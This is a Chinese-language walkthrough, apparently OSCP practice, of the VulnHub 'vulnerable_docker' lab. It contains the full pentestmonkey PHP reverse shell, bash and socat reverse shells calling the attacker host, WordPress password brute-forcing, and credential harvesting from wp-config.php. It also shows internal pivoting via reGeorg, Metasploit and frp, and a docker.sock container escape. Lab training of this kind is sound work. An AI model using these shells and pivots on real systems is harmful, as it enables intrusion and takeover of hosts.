【oscp】vulnerable_docker,3种代理方法打入内网,frp/msf/reGeorg
该项目是NotSoSecure作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。——freebuf:YLion
下载链接:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
信息收集
利用arp-scan
进行主机发现
arp-scan -l
端口SYN全端口扫描,并指定好速率为4
nmap -sS 10.10.10.129 -T4 -p-
只开放了8000端口,并没有80端口
这里用kali自带的密码字典,爆破时间较长,可以用开源的一个项目的字典
git clone https://github.com/danielmiessler/SecLists
利用wpscan进行用户枚举,和后台密码爆破,只有一个bob用户
wpscan --url http://10.10.10.129:8000/ -e u -P darkweb2017-top10000.txt
爆破结果为用户:bob,密码:Welcome1
写入kali自带的反弹shell,payload,内容如下
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.128'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$stringn";
}
}
?>
此时kali开启监听
nc -lvnp 1234
web访问一个不存在的url
http://10.10.10.129:8000/2017/08/19/hello-world111111111111/
创建交互式终端(这个环境没有python)
python2 -c 'import pty; pty.spawn("/bin/bash")'
内网渗透
那么就直接信息收集吧,wordpress的站点,必存在数据交互,找数据库密码
cd /var/www/html/
cat wp-config.php
用户名为:wordpress,密码:WordPressISBest,但是当前shell找不到mysql命令,看来是限制了shell的命令输入
这里是需要用到一个工具socat
来创建交互式终端
# kali
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
nc -lvnp 1234
# 靶机
curl -O 10.10.10.128:443/socat
chmod +x socat
./socat tcp:10.10.10.128:1234 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane
这样就创建成功了
系统信息收集
$ uname -a
Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux
$ lsb_release -a
/bin/sh: 32: lsb_release: not found
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
ip信息收集
本地IP信息探测,一共4个地址
for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
将扫描的的IP信息全部填到hosts变量,写入端口扫描脚本,到kali里面
#!/bin/bash
hosts=(
"172.18.0.1"
"172.18.0.2"
"172.18.0.3"
"172.18.0.4"
)
END=65535
for host in "${hosts[@]}"
do
echo "==============================="
echo "Scanning $host"
echo "==============================="
for ((port=1;port<=END;port++))
do
echo "" > /dev/tcp/$host/$port && echo "Port $port is open"
done 2>/dev/null
done
靶机下载
# 靶机
curl 10.10.10.128:443/ports_scan_script.sh -O
chmod +x ports_scan_script.sh
./ports_scan_script.sh
响应探测
curl 172.18.0.3:8022
curl 172.18.0.4
上图可以看到网页标题基本一模一样,那么就可以断定这是容器内的ip,用docker做了端口转发而已,那么我们可以利用的只有两个ip地址了,分别是.2和.3
由于靶机没有mysql
docker也没有
代理1:reGeorg代理之路
这就需要用到———reGeorg代理之路
# kali
curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php
python -m http.server 443
# 靶机
cd /var/www/html
curl -O 10.10.10.128:443/tunnel.php
然后访问靶机
http://10.10.10.129:8000/tunnel.php
Georg says, ‘All seems fine’ 一切似乎都很好,kali攻击机执行如下命令
python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php
并修改代理工具proxychains
配置文件
vi /etc/proxychains4.conf
这里代理成功了,能够正常访问靶机内网了这是第一个可以利用的内网ip
我们先从第二个利用点开始,利用代理连接本地的mysql,这里会出现一个问题,连接远程数据库的时候
proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2
# ERROR 2026 (HY000): TLS/SSL error: unable to get local issuer certificate
通常有两种解决方法在旧版本的mysql中 使用 –skip-ssl,如果是比较高的版本就是–ssl-mode=DISABLED
proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --skip-ssl
proxychains mysql -uwordpress -pWordPressISBest -h 172.18.0.2 --ssl-mode=DISABLED
但是mysql用户表里面只有一个用户,并且这个密码我们已经知道了
切换思路,利用那个web界面的ip,.3
proxychains nmap -sT -sV 172.18.0.3 -p8022 -T4 -Pn
可以看到是一个node项目,重新启动一个代理服务器,用kali的地址
python2 reGeorgSocksProxy.py -u http://10.10.10.129:8000/tunnel.php -l 10.10.10.128
修改代理配置
vi /etc/proxychains4.conf
打开浏览器,利用这个代理插件,添加一个代理
访问
http://172.18.0.3:8022/
开始反弹shell
/bin/bash -i >& /dev/tcp/10.10.10.128/1234 0>&1
然后就要开始docker逃逸了,当前docker容器客户端,通过docker.sock文件可以直接访问到对应的容器内部
对应的学习文章:https://www.secpulse.com/archives/55928.html
要进行docker逃逸,但是没有docker命令。。。。。。我们需要安装一个
通过uname -a可以看到系统信息为ubuntu系统,再查看版本信息,为14.04
cat /proc/version
普通的安装不太行,我们需要换源
deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
利用echo命令将上面的源重定向/etc/apt/sources.list
echo '源' > /etc/apt/sources.list
apt-get update
apt-get install docker.io
然后执行如下命令,会报一个错误,cannot enable tty mode on non tty input,不能在非tty输入上启用tty模式,也就是这个终端不是交互式终端,需要创建一个交互式终端,也可以直接返回到网页上进行操作
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
我们返回网页,一切正常
docker run --rm -it -v /:/tmp/1/ wordpress /bin/bash
cd /tmp/1
cat flag_3
Docker学习与remote API未授权访问分析和利用:https://www.secpulse.com/archives/55928.html
代理二:MSF
利用msf的监听,并对ip和端口进行修改
use exploit/multi/handler
set lhost 10.10.10.128
set lport 1234
run -j # 将这个监听程序放到后台执行,上线了就会生成会话
新建一个终端,查看是否在监听中
netstat -tulnp
访问修改的木马文件
http://10.10.10.129:8000/2017/08/19/hello-world1111111111111111/
进入到已经上线的会话1
sessions -i # 显示所有已经上线的会话
sessions 1 # 进入第一个会话
但是这个会话并不是稳定的shell(不是交互式终端),我们可以利用msf创建交互式终端
use post/multi/manage/shell_to_meterpreter
set session 2
run
查看网卡信息
ipconfig 或者 ifconfig # msf命令不是系统命令
查看路由信息 route
添加路由表
run autoroute -s 172.18.0.0/24
查看路由表情况
run autoroute -p
退出当前会话 bg
即 background
不会导致shell断开,开始配置路由
use post/multi/manage/autoroute
set SUBNET 172.18.0.0 # 你刚刚看到的路由情况填到这里
set session 3
run
进行内网探测(ip存活数量)
use auxiliary/scanner/portscan/tcp
set session 3
set rhosts 172.18.0.0/24
run
开启socks4a proxy代理:
use auxiliary/server/socks_proxy
set SRVPORT 1090
set session 2
run
shi用netstat -tulnp查看断开占用情况
netstat -tulnp
设置好代理后就需要修改代理文件(这里修改的是kali的nat网卡的ip,而不是127.0.0.1为的就是方便windows机器连接这个代理,从而能使用浏览器访问靶机内网)
vi /etc/proxychains4.conf
socks5 10.10.10.128 1090
成功进入内网
代理三:frp
frp利用工具
wget https://github.com/fatedier/frp/releases/download/v0.22.0/frp_0.22.0_linux_amd64.tar.gz
frpc.ini
[common]
server_addr = 192.168.27.195
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5
frps.ini
[common]
bind_port = 7000
bind_addr = 0.0.0.0
随后准备上传到靶机上
# kali
python -m http.server 443
# 靶机
cd /tmp
curl -O 10.10.10.128:443/frpc
curl -O 10.10.10.128:443/frpc.ini
chmod +x frpc
# kali
./frps -c frps.ini
# 靶机
./frpc -c frpc.ini
注:如果靶机出现如下问题
那么就需要在frps.ini中添加如下内容,此时就能代理成功了,原因: frp
客户端和服务器的系统时间相差过大,导致身份验证超时。
authentication_timeout = 0
修改代理工具proxychains4
vi /etc/proxychains4.conf
成功进入内网
如果需要浏览器访问的话,前面已经演示过了,这里再演示一遍,打开代理插件,选择连接即可,输入kali的代理地址和端口
学习于:https://www.freebuf.com/vuls/347867.html,文章写的很好,可以参考参考,这里还有CS上线的方法,默认CS只能上线windows,但是这里用了插件,能上线linux。
往期推荐
【oscp】超长攻击链,TommyBoy1dot0——过年快乐!
一分钟搭建本地大模型DeepSeek!永久免费!无需联网!一条命令即可搭建!
【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结
SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容